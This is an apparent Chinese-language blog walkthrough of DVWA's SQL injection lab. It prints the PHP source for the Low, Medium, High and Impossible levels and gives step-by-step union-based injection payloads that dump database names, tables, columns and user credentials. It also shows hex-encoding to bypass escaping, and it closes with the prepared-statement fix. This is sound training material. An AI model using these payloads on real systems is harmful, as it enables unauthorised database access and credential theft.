SQL Injection
前言
SQL注入 (SQL Injection),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。据说黑客依靠的就是常见的SQL注入漏洞。
SQL注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。
1.判断是否存在注入,注入是字符型还是整数型
2.猜解SQL查询语句中的字段数 (order by )
3.确定显示的字段顺序
4.获取当前数据库 (爆库)
5.获取数据库中的表 (爆表)
6.获取表中的字段名 (爆字段)
7.下载数据 (爆数据)
-
Low
服务端核心代码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
可以看到, 程序没有对参数id做任何过滤, 导致sql注入漏洞。
漏洞利用
首先正常查询, 输入1:
- 判断注入类型
尝试注入 单引号:
预测出sql语句结构可能是:
SELECT * FROM users WHERE id = '$id';
进一步将恶意语句注入到id值, 并且用注释符去掉最后一个单引号:
1' and 1=1%23
若注入一个不正确的语句, 看看注入是否还成立:
1' and 1=2%23
可以看到执行不成功, 最后可以得知为字符型的显错注入。
- 判断字段数
1' order by 3%23
最后得知字段数为2
- 爆当前数据库和用户
0' union select user(),database() %23
注意, id=0用于引导显错, (其实id=1也可以, 只不过多显示了id=1的查询信息)
- 爆所有数据库
0' union select database(),group_concat(schema_name) from information_schema.schemata %23
对于不熟悉这些语法的童鞋可以看一下之前写过的blog: SQL注入进行爆库爆表
- 爆表
0' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23
- 爆字段
0' union select database(),group_concat(column_name) from information_schema.columns where table_name="users"%23
- 爆值
0' union select database(),group_concat(user_id,"-",first_name,"-",last_name,"-",user,"-",password) from dvwa.users%23
到此, sql注入就完成了。
-
Medium
服务端核心代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,\,’,”,\x1a 进行转义;同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
漏洞利用
虽然用下拉选择表单来控制用户输入, 但是攻击者可以用抓包修改数据包的方式来攻击。
抓包查看:
于是在id值后面注入单引号, 结果是被mysql_real_escape_string()函数转义了:
绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入), 这里继续发散思维, 也就是先判断sql语句是字符型还是整数型:
- 判断注入类型
抓包修改id值为:
1 and 1=1
注入成功, 故可知是整数型注入:
整数型注入和字符型注入是差不多的, 只不过整数型不需要加单引号去闭合:
- 爆库payload
0 union select database(),group_concat(schema_name) from information_schema.schemata
- 爆表payload
0 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
- 爆字段payload
0 union select database(),group_concat(column_name) from information_schema.columns where table_name="users"
这里发现双引号被转义到了注入失败:
那么绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入), 这里采用十六进制编码来绕过:
修改数据包中的users为十六进制编码后的值(不用双引号, 要在前面加上0x)
注入成功:
- 爆值payload
0 union select database(),group_concat(user_id,first_name,last_name,user,password) from dvwa.users
-
High
服务端核心代码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞利用
与之前不同的是, High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
当我们注入单引号的时候:
就会跳出此界面, 有点类似于盲注;
我们进一步判断是字符型还是整数型注入:
这样就排除了整数型注入, 就是字符型注入了; 猜想sql语句为:
SELECT * FROM users WHERE id = '$id' LIMIT 1;
虽然sql语句中用limit限制了只能输入一个结果 (即联合查询union select 不起作用了), 但是可以用注释符把limit注释掉:
0' union select user(),database() #
剩下的就和 Low级别的注入一样了, 不再赘述。
-
Impossible
服务端核心代码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
-
参考文章